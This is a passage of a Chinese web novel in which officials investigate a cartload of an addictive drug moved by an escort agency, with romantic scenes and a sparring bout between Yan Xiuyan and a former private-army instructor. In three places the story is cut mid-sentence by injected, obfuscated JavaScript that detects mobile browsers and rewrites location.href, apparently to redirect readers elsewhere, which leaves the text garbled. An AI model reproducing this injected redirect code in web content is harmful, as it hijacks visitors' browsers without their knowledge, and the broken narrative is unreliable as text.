两人默契地并排跪在地上,乖巧得不像话,双手规规矩矩地放在膝盖上,腰背挺得笔直。 柳岚站在一旁,抱着胳膊瞧着这俩活宝,嘴角忍不住往上扬,龇着牙偷偷笑。 燕修延眼角余光扫到她这副模样,淡淡瞥了过去,目光不怒自威。 柳岚脸上的笑容瞬间僵住,以迅雷不及掩耳之势绷住脸,身姿站得笔直,垂着眼帘,眼观鼻、鼻观心,摆出一副安分守己、事不关己的样子。 燕修延没再理会她,搬了把紫檀木椅子,慢悠悠坐下,身子微微后仰,看着地上跪着的两人:“怎么就跪下了?起来说吧。” 温瑞和温泽膝盖像是被强力胶黏在了青石板地面上一般,纹丝不动,心里都打着鼓。 温泽手指急急忙忙指向身旁的温瑞,声音带着几分急切的撇清:“头儿!那些传出去的消息,全都是温瑞放出去的,跟我一点关系都没有!” 温瑞上身猛地往后一仰,飞快偏头避开温泽指过来的手,同时双手高高举起,满脸委屈地喊冤:“头儿,我冤枉啊!是温泽非要追着问,我才随口说了两句,结果他转头就跟其他兄弟掰扯。” 白天铎垂着一只手走了进来,指尖处划破了一道细细的口子,虽不算深,却也渗了点血丝。 肖泽皱着眉带他来找柳岚包扎伤口,刚走到门口,就恰好听见了温瑞辩解的话。 白天铎挑了挑眉,看向地上缩成一团的两人,开口问道:“掰扯什么?你俩又在背地里传头儿的什么谣言了?” 这个“又”字用得恰到好处。 轻飘飘的一句话,让温泽和温瑞瞬间魂飞魄散,脸色唰地一下白了。 两人齐刷刷地疯狂摇头,双手也不停摆手,脑袋摇得像拨浪鼓:“没有没有!绝对没有!头儿你别听他胡说,我是无辜的,都是温瑞(温泽)一个人干的!” 情急之下,两人竟同时指着对方,异口同声地推卸责任,场面滑稽又好笑。 肖泽没心思管这两人的闹剧,径直走到柳岚面前,轻轻托起白天铎受伤的手,递到柳岚眼前:“快给他上药,流了不少血,可别感染了。” 柳岚垂眸扫了一眼那伤口,只见那道口子早已不再流血,只剩下一道浅浅的红痕。 这么小的伤口,上药? 她又抬眼看向一脸严肃的肖泽,忍不住翻了个白眼,无奈道:“肖泽,你俩再晚来一会儿,这伤口都彻底愈合结痂了,而且我早就说过,这种芝麻大的小伤口,别再来找我浪费时间。” 肖泽却不认同,依旧皱着眉,固执地说:“这不是小伤口,破皮见血了,必须处理。” 燕修延伸头瞥了眼白天铎手上的浅痕,漫不经心地开口:“这点小伤,你给他舔下不就行了,哪用这么麻烦。” 这话一出,肖泽和白天铎皆是一怔,柳岚也忍不住嘴角抽了抽。 而地上跪着的温泽和温瑞,趁机悄悄挪动膝盖,一点点往门口的方向挪,想趁着燕修延注意力不在他们身上,偷偷溜之大吉。 刚挪了没两步,燕修延忽然转过头,目光落在两人身上。 温泽和温瑞身子瞬间一顿,动作戛然而止,齐齐僵在原地,脸上瞬间换上无辜的表情,假装刚才什么都没做,乖乖跪好,连呼吸都放轻了。 “你们两个。” 燕修延一开口。 两人脖子猛地一缩,眼睛滴溜溜乱转,眼神慌乱地四处瞟,心里七上八下,等着挨训。 “温瑞,你去传一个消息出去,就说有蛮人在大虞境内售卖一种叫做底也伽的东西。” 他拿起桌上的底也伽递给温瑞看,底也伽现已呈暗褐色,模样不起眼。 燕修延神色严肃了几分,郑重叮嘱:“此物短时间内,能让人产生飘飘欲仙的幻觉,成瘾性比大虞明令禁止的禁药还要强,若是长期服用,必会伤及根本,最终丢了性命,此事事关重大,务必传清楚。” 温瑞知道燕修延一派任务,就代表不追究传谣言的事,脸上立刻露出喜色,麻溜地从地上爬起来,拍了拍衣摆上的灰尘,连连点头:“放心吧头儿,保证完成任务!” 温泽见状,满眼期待地看着燕修延,身子微微前倾,就等着燕修延也给自己派个活,好将功补过。 燕修延屈起食指,轻轻敲了敲椅子扶手,看向温泽:“你跟温瑞一道,两人配合着来,这件事必须要在最短时间内,传遍整个大虞的大街小巷,让所有人都知晓底也伽的危害。” “好嘞!” 温泽喜出望外,利落地点头,手脚并用地往起爬,可爬到一半,动作突然僵住,他和温瑞异口同声地发出惊呼:“整个大虞?” 两人眼前一黑,差点瘫坐在地上。 大虞幅员辽阔,城池众多,乡镇更是不计其数,想要把一个消息传遍整个大虞,无异于天方夜谭,这任务量,想想都让人头大。 温泽呆愣在原地,脸上满是绝望:“等完成这个任务,我家里的孩子怕是都忘记我长什么样了吧,这得走多少年啊……” 温瑞倒是想得开,拍了拍温泽的肩膀,自我安慰道:“说不定咱们一路走下去,我还能在外地找个温柔贤惠的媳妇儿呢。” 燕修延想了下,温泽家中有媳妇,还有两个年幼的孩子,若是让他跟着温瑞跑遍大虞,家里妻儿无人照料,着实辛苦。 “算了,温泽留在京城,负责京城及周边城池的消息散播,我另外找个光棍汉子,陪温瑞一道出远门。” 两个光棍在外奔波,说不定真能各自寻个良缘回来,也算是一桩美事。 温泽一听不用离家远行,瞬间喜极而泣,激动得差点跳起来:“头儿!你真是大虞最体恤下属的头儿,我以后再也不跟在温瑞后面乱传你的消息了!” 温瑞在的眼刀子“嗖嗖”地往温泽身上飞。 燕修延压根不信温泽的话,心里跟明镜似的,这货也就对着他媳妇和孩子的时候,说话能算话,转头就忘事是常态。 他嫌弃地摆了摆手,不耐烦道:“行了行了,都散了吧,别在这杵着碍眼。” “哎!好嘞!”温泽乐呵呵地应着,转身就往屋外走,半点不耽搁。 温瑞把手里的底也伽放回桌上,刚走到门口,忽然拍了下脑袋,像是想起了什么重要的事,又快步退了回来。 他从怀里掏出一个用素色帕子包裹得严严实实的东西,伸手递给柳岚,笑着说:“差点给忘了,语秋托我把这个交给你,让你看看是什么物件。” 柳岚疑惑地接过帕子,慢慢打开,只见帕子里面,静静躺着一颗和燕修延桌上一模一样的底也伽。 “嗯?!温瑞你给我回来!语秋怎么会有这个东西?” 温瑞刚走到门口又乖乖折了回来,挠了挠头,仔细回想了一下:“应该是这次押镖运送的货物里的,她当时随手塞给我的,让我转交给你——咦,怎么跟底也伽长得一模一样?” 他当时接过来的时候,没打开看,还以为是普通货物呢! “对了,那批货物,整整装了一大车,已经通过镖局运去云中城了!” 燕修延点点头,语气果断:“我立刻进宫一趟,此事非同小可。温瑞,你马上去找语秋,仔细问问她,这次委托镖局押镖的人是谁,尽量往详细了问。” “陛下,燕正使求见。” “宣。” 虞睿祥淡淡开口,将手中的笔轻轻放到笔搁上,嘴角勾起一抹戏谑的笑意,打趣道:“这离晚膳可还有些时间,你怕是蹭不到朕的御膳了。” 若是往常,燕修延定会顺着他的话插科打诨,可今日,他神色严肃,没有半分玩笑之意,快步走到御案前:“陛下,有一车底也伽,从京城通过镖局,被运到了云中城,运送时间就在我出京之后不久。” 虞睿祥脸上的戏谑瞬间消失,面色一肃,指尖轻轻敲击着御案,眉头紧锁:“云中城?” 云中城水运发达,若是这批底也伽只是在云中城本地售卖,尚且还能追查,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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朱语秋神色凝重,对着温瑞说完,立刻转身回屋拿上自己的长鞭,快步走到院子里,翻身上马,策马朝着长风镖局的方向赶去。 “蒋野星!” 蒋野星正要迈步出门,听到喊声,停下脚步,转头看向马背上的朱语秋,脸上带着几分笑意,打趣道:“语秋妹妹怎么来势汹汹的,是谁惹你生气了?” “你跟我过来,有要事问你。” 朱语秋没时间跟他废话,弯腰伸手,一把抓住蒋野星的胳膊,稍一用力,就将他拽上了马背。 蒋野星还没反应过来,就被朱语秋带着策马狂奔,一路跑到了城外一处僻静无人的小树林,才勒住马,将他放了下来。 蒋野星被晃得头晕眼花,摸着肚子,龇牙咧嘴地看着朱语秋,故作委屈地调侃:“语秋妹妹,你这是想对我行不轨之事啊?这荒无人烟的地方,你可别对我乱来。” “你再鬼扯试试?” 朱语秋扬起手中的长鞭,轻轻挥了一下,鞭梢扫过地面,带着几分威慑,瞪着他吓唬道。 蒋野星见状,立刻拍拍胸口,装出一副害怕的样子,嬉皮笑脸道:“哎呀,我好害怕,语秋妹妹饶命啊。” 朱语秋没心思跟他打闹,神色瞬间变得正色,盯着他的眼睛:“我问你,之前你转给我的那趟镖,委托人是谁?家住京城何处?长什么样子?多大年纪?你一五一十地告诉我。” 蒋野星见她这般严肃,脸上的笑意也收了起来,意识到事情不简单,皱着眉问道:“这趟镖有问题?” 朱语秋重重地点头,语气凝重:“有大问题,那批货物根本不是普通东西,是能让人成瘾、害人性命的底也伽,一车货物流出去不知道会害多少人!” “什么?!” 蒋野星大吃一惊,眼睛瞪得溜圆,满脸不可置信,“那不是委托人说的枣核碳吗?怎么会是害人的东西?” 朱语秋白了他一眼:“你是不是有病?那要是枣核碳,我至于这么着急来找你吗?你动脑子想想,真要是枣核碳,那一车能卖几个钱,对方至于专门找镖局运这么一大车吗?!” 蒋野星挠了挠头,脸上露出懊悔的神色,自责道:“你也知道,当时接完这单,后面紧接着来了两个大单子,我忙着打理后续生意,也就没仔细去想这趟镖的蹊跷。” 121. 堕落的燕大人 温瑞赶回监察司时,空无一人,连值守的下属都摇头说未曾见过正使归来。 他摸了摸下巴,心里瞬间有了数,脚下一转,径直往谢府的方向赶去。 温瑞到谢府时,谢伟恒也刚处理完公务回府,他长臂一伸将燕修延揽在怀中准备亲。 听见外面的动静,谢伟恒垂眸扫了一眼门口的方向,缓缓收回环着燕修延的手。 燕修延抬手拍了拍谢伟恒的肩膀,语气里带着几分故意的调侃:“大白天的,可别这么急色,别忘了你可是朝堂上人人称赞的端方君子啊谢书令~” 他话音落下,也不等谢伟恒回应,径直转身走到门边,抬手推开了房门。 温瑞见状连忙从墙头上纵身跳下来:“头儿,您交代的事我问到了,就是……感觉问到的信息指向性不强,没什么关键线索。” 温瑞一字一句将朱语秋打听来的消息,仔仔细细复述了一遍。 蒋野星在外头喝了酒,半醉着回镖局时,恰巧遇上了前来委托押镖的人。 当时他脑子昏沉,醉意上头,压根没仔细打量对方,囫囵看了几眼就接了这趟镖,后来凭着模糊不清的记忆,给朱语秋描述样貌,说出来的模样平平无奇,丢在人群里毫无辨识度。 “那人的长相,街上随便一抓一大把,就是最普通的路人模样,半分特点都没有。” 燕修延靠在门框上,连找擅长画像的安清雅来描摹的心思都没有,心里跟明镜似的:“不用费那功夫,委托押镖的人铁定是易容了,真要是本来面目,哪会这么毫无特征。” 他懒散地摆了摆手,语气里带着几分随性,半点没有急于追查的焦躁:“等着官府那边挨家挨户计民数就行,犯不着什么事都自己揽着干,咱们又不是铁打的,多干活俸禄也不会多半个铜板,何苦折腾自己。” 温瑞实诚的很,脑子不会拐弯,闻言立刻脱口而出:“可咱们监察司抄家捞到的好处,可比俸禄多多了……唉!头儿你踹我干嘛!” 话还没说完,小腿肚子就挨了燕修延不轻不重的一脚。 温瑞疼得龇牙咧嘴,一脸委屈地看着燕修延,压根没反应过来自己说错了话。 燕修延睨了他一眼语气带着几分呵斥:“你说我踹你干嘛?” 温瑞摸了摸被踹的地方,一脸懵懂地挠头:“我知道呀,我在外面、在同僚面前肯定不会乱说的。” 燕修延抬手,作势就要往他头上抽,语气恨铁不成钢,“说习惯了,哪天嘴巴一秃噜,在外面当众说出来,你小子等着挨罚吧!” “是是是,头儿说的都对,我下次再也不乱说了!” 温瑞认错态度好得不能再好。 他抬眼偷偷瞄了瞄屋内站着的谢伟恒,又看了看面色不善的燕修延:“头儿,要是没别的事,我就先撤了,不打扰你跟谢大人温存,你们继续哈!” 说完,温瑞脚底抹油,转身就想跑。 “去你的!小子越发没规矩了!” 燕修延掀起衣摆,抬脚又要踹,温瑞却跑得飞快,一溜烟就到了院门口,还不忘贴心地反手把院门轻轻关上,半点不打扰屋内两人。 燕修延看着他仓皇逃窜的背影,用力把掀起的衣摆往下捋了捋,整理好衣衫,转头对着屋内的谢伟恒吐槽:“温瑞这直来直去、没半分眼色的性子,等着当一辈子老光棍吧,谁受得了他。” “温瑞自有他的缘法,感情的事,强求不得,时机到了,自然会遇见合意的人。” 谢伟恒缓步走到桌边,拉开椅子坐下,伸手轻轻拉过燕修延让他坐在自己的腿上:“不过,燕大人这般关心他的终身大事,我可是会吃味的。” 关心? 他管这叫关心? 燕修延抬手给了他一个不轻不重的脑瓜崩,指尖戳了戳他的脸颊,一眼拆穿他的小心思:“少来这套,你分明是打着喝醋的旗子,给自己谋私心好处,别以为我不知道你那点心思。” 谢伟恒也不反驳,另一只手缓缓抬起,轻轻松开燕修延的发冠。 束发的玉簪滑落,如瀑的黑发瞬间倾泻而下,散落在肩头与后背,衬得燕修延更添了几分慵懒柔意。 谢伟恒撩起一缕垂在他胸前的黑发,缠绕在指尖,眸色深沉:“那,燕大人准许我谋这个好处么?” “不准,我要吃饭。” 燕修延冷酷地拒绝,伸手推了推他的肩膀。 天大地大,吃饭最大,别的事都往后排,谁也不能耽误他吃饭。 谢伟恒仰头轻轻亲亲燕修延的唇角,带着几分缱绻的温柔,低声道:“厨房的饭菜还未烧好,再等片刻……” “叩叩。” 门外就传来了谢小厮的声音:“少爷,饭菜已经烧好了,现在传菜吗?” “哈哈哈哈!” 燕修延双手捧着谢伟恒的脑袋,微微俯身,在他的唇瓣上快速亲了一口,对着门外朗声说道:“现在吃,立刻端过来!” 谢伟恒拉住准备从自己腿上下去的人,扣住他的后颈交换了一个绵长的吻。 两人都气息不稳了,才缓缓松开。 谢伟恒修长的手指,轻轻按住燕修延泛红的唇瓣,声音沙哑:“燕大人方才得意的样子,真是让人想狠狠的欺负一番。” 燕修延的心骤然跳得飞快,胸腔里的心跳如同擂鼓,脸颊瞬间热得发烫,连耳根都染上了淡粉。 他张口“吭哧”一口,在谢伟恒的手指上狠狠咬了一圈牙印:“呸,想都别想,做梦!” 他从谢伟恒腿上下来,快步走到桌边,端起桌上的凉茶,咕咚咕咚喝了好几口。 抬手揉了揉发烫的脸颊,随手拿起一旁的丝带,将散落的黑发简单绑起,故作镇定地走到门口,拉开房门。 门外,等了好一会儿的谢小厮,始终死死盯着地面:“那我去厨房端菜了。” 他多聪明啊,少爷没开口,就等到房门打开。 可不能打扰少爷好事。 燕修延看着他这副模样,回头对谢伟恒笑道:“你这小厮,倒是有种聪明的蠢笨感,看着机灵,实则傻得可爱。” 谢伟恒走到他身边,叹了口气:“确实不怎么灵光。” 一顿饭吃下来,燕修延始终觉得浑身有些不自在。 他冲着谢伟恒努了努嘴,带着几分慵懒的娇气,语气带着几分指使:“帮我拿两本书过来看看呗,我懒得动了,就在这儿歇会儿。” “好。” 谢伟恒一眼就看穿了他眼中藏着的狡黠,却不点破,温声应下,起身往书房的方向走去。 燕修延看着他离去的背影,等谢伟恒的身影彻底消失在视线里,他又在屋内静坐了片刻。 仔细听了听院外的动静,确认四下无人,才悄悄起身,快步走到院墙边。 燕修延翻墙的动作没了往日的利落轻快,略显笨拙地翻出墙外,落地后拍了拍手上的灰尘。 谢伟恒拿着书回到屋内时,早已没了燕修延的身影。 桌上只留着一张纸条,字迹潦草却灵动,上面写着:【外出办事,明日朝食记得做我的份。】 谢伟恒看着纸条,无奈又宠溺地笑了笑,指尖轻轻捋平纸条边缘的褶皱,小心翼翼地夹进随身携带的书里,仔细压好。 随即转身,快步出了门。 “噗,咳咳咳” 这被子许久不曾晾晒,又沉又硬,还带着一股难闻的霉味,垫被更是硬邦邦的,硌得人难受。 燕修延无奈,只能将就着把被子铺回床上,和衣躺了上去,可翻来覆去,怎么睡都觉得不舒服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646279|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被子不软和,床板又硬,浑身都不得劲,压根睡不着。 “真是由奢入俭难啊!” 以前在外执行任务,给张光板床都能倒头就睡,现在倒是挑剔起来了。 屋外传来轻轻的脚步声,紧接着,房门被缓缓推开。 燕修延从床上坐起来,看着门口走进来的人,满眼惊讶,语气里满是诧异:“你怎么找来了?我不是留了纸条说外出办事吗,而且……” 这府邸这么多间卧房,他随意选了一间,谢伟恒怎么能一下子就找到? “燕大人也太瞧不起我了。” 谢伟恒缓步走到床边,看着他皱着眉、一脸不适的模样,眸中满是心疼,弯腰伸手,稳稳将燕修延从硬邦邦的床上抱了起来:“你想回自己的宅子睡,我明日一早就让下人来好好打扫,把被子、垫被全都拿去晾晒,换套新的来。” 燕修延动动,找了个舒服的姿势靠着。 “我怕是堕落了,以前在外风餐露宿,给个狗窝都能对付一晚。” “这不是堕落,更不是娇气。” 谢伟恒抱着他,语气温和又认真,“从前是身不由己,只能将就,如今可以过舒适的生活,又何必再强求自己去适应那些艰苦的环境?” 燕修延看着谢伟恒轻车熟路的跃上墙头,回到天天住的院子里。 脑中忽然灵光一闪,一个念头瞬间清晰起来。 谢伟恒轻手轻脚地将他放在柔软的软榻上,看着他一直盯着自己,忍不住笑问:“燕大人为何这般看着我?可是有什么话想说?” 燕修延伸手拽住谢伟恒的衣襟,不让他退开,眸中带着几分笃定:“这座宅子,根本不是陛下给我的,是你提前买下来,再托陛下的名义送给我的。” 两座宅子布局一模一样,他去也都会习惯性地往这个院子走,而非自己的府邸,所以谢伟恒才能轻而易举地找到他。 谢伟恒看着他拆穿一切,也不隐瞒,笑着点头:“燕大人果然聪慧,一点就透。” 燕修延伸手揪着他的耳朵,轻轻拧了一下:“你是不是缺心眼啊?那房子我一年到头都住不到几次,买下来纯属浪费钱,有这银子做什么不好?” 谢伟恒任由他揪着自己的耳朵,目光温存如水,紧紧看着他,语气认真又深情:“一点都不浪费。我从太后娘娘那将你迎娶进门,往后日子漫长,若是哪天我惹你生气了,你也有个属于自己的地方可去,不用受委屈,不用迁就旁人。” “少来这套,我才不吃你的甜言蜜语。” 燕修延撇撇嘴,却也没松开手:“你还漏了一句,就是方便你把我抓回来。” 谢伟恒倒也坦荡,不躲不藏,坦然承认:“是,这是我的私心,我舍不得你离开我身边,哪怕只是一时,我也放心不下。” “哼。” 燕修延松开揪着他耳朵的手,抱着胳膊,别过脸,故作冷淡地斜睨着他,提前打预防针,“我先跟你说好,今晚我要好好休息,你再敢不老实,我就去找柳岚拿药把你阉了,让你一辈子都安分。” “燕大人可冤枉我了。” 谢伟恒立刻摆出一副无辜的模样,眼神真挚:“我今晚只是想替你按摩按摩,缓解一下不适,顺便上个药,没有别的心思。” 上药…… “不用!” 燕修延的脸瞬间涨得通红,从脸颊红到耳根:“又、又没伤着。” “用了会舒服些。”谢伟恒依旧温声劝说。 “不、用!我说不用就不用!”燕修延把头摇得像拨浪鼓,语气坚定,死活不肯松口。 “好吧。”谢伟恒见他这般,只能无奈应下。 燕修延斜睨着他,一眼就看穿了他的心思,哼了一声,挑眉问道:“听你这语气,似乎很是遗憾啊。” 122. 只看体格不看脑子的晋王 一夜无梦,睡得格外安稳。 窗外天光刚透进窗棂,燕修延便悠悠转醒。 四肢舒展时,只觉浑身通泰,神清气爽,连日积压的疲惫仿佛都被这一夜好眠涤荡干净。 他下意识伸了个极舒展的懒腰,腰不酸、背不疼,精神头足得很——得,还是有点后遗症。 问题不大。 这点小酸疼,丝毫不影响他出门教训人、立规矩、压场子。 简单洗漱更衣,温水擦过脸颊,整个人更显清俊利落。 谢伟恒早已起身,见他收拾妥当,上前不由分说便按着他亲了好一通,气息相缠,暖意融融。 亲够了,才整理好一身规整朝服,迈步上朝而去。 燕修延自在地用了早膳,吃得腹饱身暖,才让人端上一早备好的一大盘新鲜肉食。 他走到那只巨大的铁笼旁,抬手打开笼门。 “大白,出来。” 燕修延抬手,轻轻拍了拍它毛茸茸的大脑袋,指尖触到一片厚实软毛。 “吃吧。” 他将肉盘放到地上,语气带着几分纵容,“今天带你出去放放风。” 大白低低哼了一声,低头埋头苦干起来。 晋王养的私兵,经一番筛选剔除,留下一千精壮之人暂编入禁军营,由禁军代为训练。 剩下的,则被分散遣往各处开荒。 那等苦累繁重、又难有油水的活儿,让这些桀骜不驯、又曾为虎作伥的人去受一受,再合适不过。 只是这筛剩下的一千人,看着个个体格健壮,嘴上安分,心里不服气的却大有人在。 军营之中本就血气重,这些人又素来散漫,短短几日,已是几次三番闹事,口角不断,甚至公然打群架,闹得营地鸡飞狗跳。 对付这类人,道理无用,规矩无效。 他们没那么多弯弯绕绕,只认一个理:谁强,谁便说了算。 打服了,便比谁都乖顺亲近。 燕修延带着大白,慢悠悠踏入禁军营时,营地里正闹得不可开交。 两拨人面对面叫骂,脸红脖子粗,兵器虽未出鞘,可气氛剑拔弩张,再稍一激,便是一场混战。 周遭士兵围观看热闹,无人敢真上前拦阻。 燕修延目光淡淡扫过场中,低头看了一眼身旁蓄势待发的狮子,轻轻唤了一声: “大白。” 狮子似通人性,知道轮到自己出场。 它猛地昂首,胸腔震动,发出一声震耳欲聋的狮吼: “吼——!!” 吼声雄浑,穿破喧闹,整个营地瞬间一静。 所有争吵叫骂戛然而止,所有人齐刷刷转头望来,目光先落在一身云白长袍、清俊闲散的燕修延身上,随即又凝固在他身旁那头庞然大物上。 人群中,不知谁愣头愣脑冒了一句:“这……这猪怎么长得跟狮子似的?” 燕修延:…… 他低头,认真打量了一眼大白。 只见自家狮子眼神凶狠,鬃毛张扬,确有兽中之王的霸气…… 好吧,他编不下去了。 天天看着没感觉,听了别人这么一说,仔细一看大白腰身滚圆,肚腹微垂,四肢粗壮,一身腱子肉被养得层层叠叠。 还真有点像猪的亲戚。 燕修延轻咳一声,若无其事地又拍了拍大白的脑袋,暗自打定主意:回头得跟谢伯说一声,给大白减减食量。 谢伯养东西的手艺,快赶上自家燕伯了,不管什么活物,到他手里,个个都能养得膘肥体壮,圆滚滚喜人。 本想牵一头狮子出场,震慑全场,威风八面。 如今一看,倒像是牵着一头“猪猪”出门溜圈。 正暗自无奈,远处一阵脚步声传来,禁军总管快步走来。 一见燕修延,韦宸先行礼:“燕正使。” “韦总管。” 燕修延微微颔首,礼数周全。 韦宸早听闻燕修延当年生擒猛兽、驯服狮子的壮举,本想开口夸赞几句,可目光在圆滚滚的大白身上一转,到了嘴边的话又默默咽了回去。 只假装若无其事地移开视线,轻咳一声岔开话题:“燕正使今日前来,可是要检视训练成果?” “不是。我来找人打架的。” 燕修延摇头,语气轻松得不像话,一边随手活动了一下脖颈,一边淡淡道。 “听说这里有人不服气,我来帮他顺顺气。” 韦宸一听,眼底顿时掠过一丝了然笑意。 他巴不得燕修延来这么一出。 一方面,这些被俘的晋王私兵里刺头太多,顽劣难驯,寻常军法管得住人管不住心;另一方面,他也正好借机让自己麾下禁军开开眼界,见识一下什么叫真正的高手,什么叫人外有人。 燕修延目光随意一扫,径直落在方才吵架时嗓门最大、气势最横的那名壮汉身上。 定睛一看,倒是笑了。 呦,还是个熟人。 正是当初在京郊,被他故意撞了一遭、后来又中了柳岚秘制药物、在大殿外失态胡闹的那个家伙。 韦宸顺着他的目光望去,低声介绍:“此人叫铁牛,每次冲突闹事,他都冲在最前面,是这群人里的刺头。” “哦,好。” 燕修延点点头,对着铁牛勾了勾手指,语气轻挑又散漫:“铁牛是吧?刚才你叫得挺起劲。敢跟我打么?” 铁牛一眼便认出了燕修延,仇人见面,分外眼红,当即怒目圆睁:“是你!” 燕修延笑眯眯地拍手,语气轻快,字字都往人心口扎:“哎,对,是我。你在大殿外脱衣服跳舞那事儿,还记得吧?” 中了柳岚研制的药,人清醒之后并不会全然失忆,反而会依稀记得自己失控时的所作所为、所言所行。 一提起那事,铁牛等人脸色瞬间变得难看到了极点。 只是零星破碎的片段,便足以让他们每回想一次,都恨不得当场找条地缝钻进去,羞愤欲死。 燕修延看着他们精彩纷呈的脸色,慢悠悠抛出诱饵:“你若打赢我,我便给你一种药,保你彻底忘了那件事,还不伤身子。” 这话一出,铁牛再无半分犹豫。 耻辱如火烧心,他猛地一把将上衣扯下,狠狠摔在地上,露出结实黝黑的上身:“来!” 韦宸在旁看着,见燕修延一身云白宽袖长袍,衣袂飘逸,分明是公子哥儿的打扮,半点不像是要来打架的样子,不由关切问了一句:“燕大人,可要换一身劲装?” 燕修延无所谓地摆摆手,云淡风轻:“不用。他近不了我的身。” “好大的口气!” 铁牛怒极反笑,拍了拍自己结实的臂膀,双手握拳相撞,发出沉闷声响,“就你这小身板,也敢说这种大话——” 话音未落。 “啪——!” 一声清脆响亮的耳光,猝不及防炸开。 铁牛整个人猛地朝左边一偏,脸颊瞬间浮现出清晰的五指红印。 他甚至没看清燕修延是怎么动作的! 燕修延慢悠悠收回手,甩了甩指尖,似是嫌刚才那一下震得手心疼,又抬眼淡淡比了比两人身高,语气无辜又气人:“你还没我高,怎么好意思说我小身板?脸皮倒是挺厚。” 铁牛被打得懵了一瞬,随即一股腥甜涌上喉咙。 他狠狠啐了一口,带血的唾沫里,赫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646280|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚着一颗白牙。 燕修延看着,语气毫无诚意:“不好意思,手重了点,把你牙打掉一颗。” 铁牛满嘴血腥,气得双目赤红,一声不吭,猛地抬腿,横扫向燕修延下盘。 燕修延足尖轻轻一点,身形轻盈跃起,竟直接落在铁牛宽厚的肩头,随即腰身一沉,使出一招泰山压顶。 “咚”的一声。 铁牛双腿剧震,膝盖一软,硬生生被压得跪倒在地,整张脸都憋得通红。 韦宸好巧不巧正站在铁牛正对面,见状一本正经抬手,慢悠悠补了一句:“这离过年还有好几个月呢,不必行此大礼。” “呃啊——!” 铁牛浑身青筋暴起,肌肉紧绷,拼尽全力挣扎,却依旧动弹不得。 他疯了一样抬手,想去抓燕修延的脚踝。 燕修延轻轻一跃,腾空而起,落下时一脚稳稳踩在铁牛手腕上。 铁牛双臂被压,只能以一种古怪又屈辱的姿势,双膝跪地,双手搭在自己肩上,动弹不得。 燕修延垂眸,语气平淡:“服么?” 铁牛嘴角鲜血直流,说话都漏风,口齿不清却依旧硬气:“我不胡!你都不敢跟我正面打!” 韦宸在旁听得轻轻“嚯”了一声。 上一个敢这么跟燕修延硬刚、还死不服软的人,下场已经不用多说。 燕修延只淡淡应了一个字:“哦。” 他轻飘飘落地,站在铁牛面前:“那就继续。” 铁牛挣扎爬起,双目赤红,攥紧拳头,疯了一般直扑燕修延面门,拳风呼啸。 燕修延双手悠然背在身后,身姿闲适,脚步轻移,每一次都精准避开攻击。 无论铁牛出拳多快、多猛、多乱,连燕修延的衣摆都碰不到。 “我说。” 燕修延看着看着,颇感乏味,随口点评:“晋王养你们的时候,没给你们找正经教头?你这打的什么王八拳。” 铁牛脸色瞬间由红涨紫,气得几乎炸肺。 他大吼一声,猛地夺过旁边一名士兵手中的长枪,横枪便扫,枪风凌厉。 燕修延上身极速向后仰去,几乎与地面平行,险险避开枪杆,随即一脚踢出,正踢在枪身之上。 “嗡——” 一声震响。 铁牛只觉掌心发麻,虎口剧痛,长枪险些脱手飞出。 燕修延扭头看向韦宸,一脸疑惑:“我哪句话戳到他痛处了?” 韦宸忍住笑,语气带着几分同情:“他……就是晋王当初请来的教头之一。” 燕修延:…… 他沉默了一瞬。 脑海里闪过前中书令请的道长和大师、一个个怕鬼的暗卫,再对比眼前这位“教头”铁牛。 他终于在心里得出一个结论:晋王这眼光,到底是从哪儿搜罗来这么多草包? “你少瞧不起人!” 铁牛被戳中痛处,羞愤交加,持枪直指燕修延,厉声喝道:“你只敢躲躲闪闪,算什么男子汉大丈夫!” 燕修延指尖轻轻摸了摸眉尾,目光扫过场中这群空有体格、脑子却不怎么灵光的私兵,看向韦宸,无声询问:五千人里筛出来的一千精锐,就这水准? 韦宸无奈摊手,回以一个“我也没办法”的眼神。 大概晋王挑人,只看体格不看脑子。 “行吧。” 燕修延收回目光,不再多言,对着身旁禁军淡淡勾了勾手。 一名禁军立刻恭敬上前,将自己手中长枪双手奉上。 “来吧,我让你见识见识,什么叫做真正的枪法。” 韦宸立刻神色一正,示意麾下所有士兵凝神细看,不得有误。 123. 这叫瘦弱? 燕修延单手握紧长枪枪杆,手腕轻旋,长枪顿时在他手中飞速轮转一圈,银亮的枪身划破空气,带着凌厉的风声,阳光下枪尖闪烁着森寒的冷芒,直直指向对面的铁牛。 “来。” 两人几乎同时纵身出手。 铁牛双目圆睁,憋足了浑身力气,攥着长枪狠狠朝着燕修延胸口刺去,枪风带着蛮力,势要一雪前耻。 燕修延身姿轻盈却稳如泰山,手中长枪斜斜递出。 只听“铛”的一声清脆刺耳的金属撞击声,两道枪尖狠狠相撞,力道瞬间迸发。 铁牛只觉掌心传来一阵剧痛,虎口发麻,险些握不住手中长枪,整个人被这股巨力震得连连后退。 